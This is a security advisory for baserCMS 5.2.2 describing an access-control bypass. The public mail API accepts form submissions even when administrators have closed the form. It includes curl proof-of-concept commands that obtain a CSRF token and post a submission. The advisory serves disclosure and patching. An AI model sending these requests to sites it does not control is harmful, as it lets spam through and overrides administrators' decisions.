Mail Form Acceptance Bypass via Public API

Moderate **ryuring** published **GHSA-8cr7-r8qw-gp3c** 2 hours ago

Package

baserCMS

Affected versions

5.2.2

Patched versions

5.2.3

Description

Summary

A public mail submission API allows unauthenticated users to submit mail form entries even when the corresponding form is not accepting submissions. This bypasses administrative controls intended to stop form intake and enables spam or abuse via the API.

Details

In baserCMS, mail form submissions through the front-end UI are guarded by acceptance checks implemented in `MailFrontService::isAccepting()`, which ensures that the mail form is currently accepting submissions (e.g. within its configured publish/acceptance window).

These checks are enforced in the UI flow handled by `MailController::index()` and `MailController::confirm()`
(e.g. `plugins/bc-mail/src/Controller/MailController.php`).

However, the public API endpoint:

`plugins/bc-mail/src/Controller/Api/MailMessagesController.php::add()`

does not invoke `MailFrontService::isAccepting()` and does not verify whether the mail form is currently accepting submissions. As a result, the API accepts submissions regardless of the form's acceptance state.

The endpoint does not require authentication. A valid CSRF cookie and token pair is sufficient to create a mail message. This allows submissions even when administrators intentionally disable or close the mail form via the admin UI.

PoC

1. In the admin UI, configure a mail form so that it is **not accepting submissions** (e.g. outside its acceptance period or explicitly closed).
2. Obtain a CSRF cookie by accessing the site root:

```
curl -sS -D - -o - -c /tmp/basercms_cookies.txt 'http://localhost/'
```

3. Extract the CSRF token from the `csrfToken` cookie and submit a POST request to the public API endpoint:

```
curl -sS -D - -o - -X POST 'http://localhost/baser/api/bc-
mail/mail_messages/add/1.json'
-H 'Content-Type: application/x-www-form-urlencoded'
-H 'Referer: http://localhost/'
-H 'X-CSRF-Token: <csrf-token-from-cookie>'
-b /tmp/basercms_cookies.txt
--data-urlencode 'name_1=Test'
--data-urlencode 'name_2=User'
--data-urlencode 'email_1=test@example.com'
--data-urlencode 'email_2=test@example.com'
--data-urlencode 'category[]=資料請求'
--data-urlencode 'root=検索エンジン'
--data-urlencode 'message=API bypass test'
```

4. The server responds with `200 OK` and creates a mail message, even though the form is configured to reject submissions.

Impact

This is an access control / business logic bypass vulnerability.

Administrators rely on the mail form acceptance settings to temporarily or permanently stop form intake (e.g. during maintenance, incidents, or spam attacks). This vulnerability allows attackers to bypass those controls via the public API, enabling unauthorized mail submissions, spam, and operational disruption.

Severity

Moderate 5.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2026-30878

Weaknesses

▶ CWE-285

Credits

melonattacker Reporter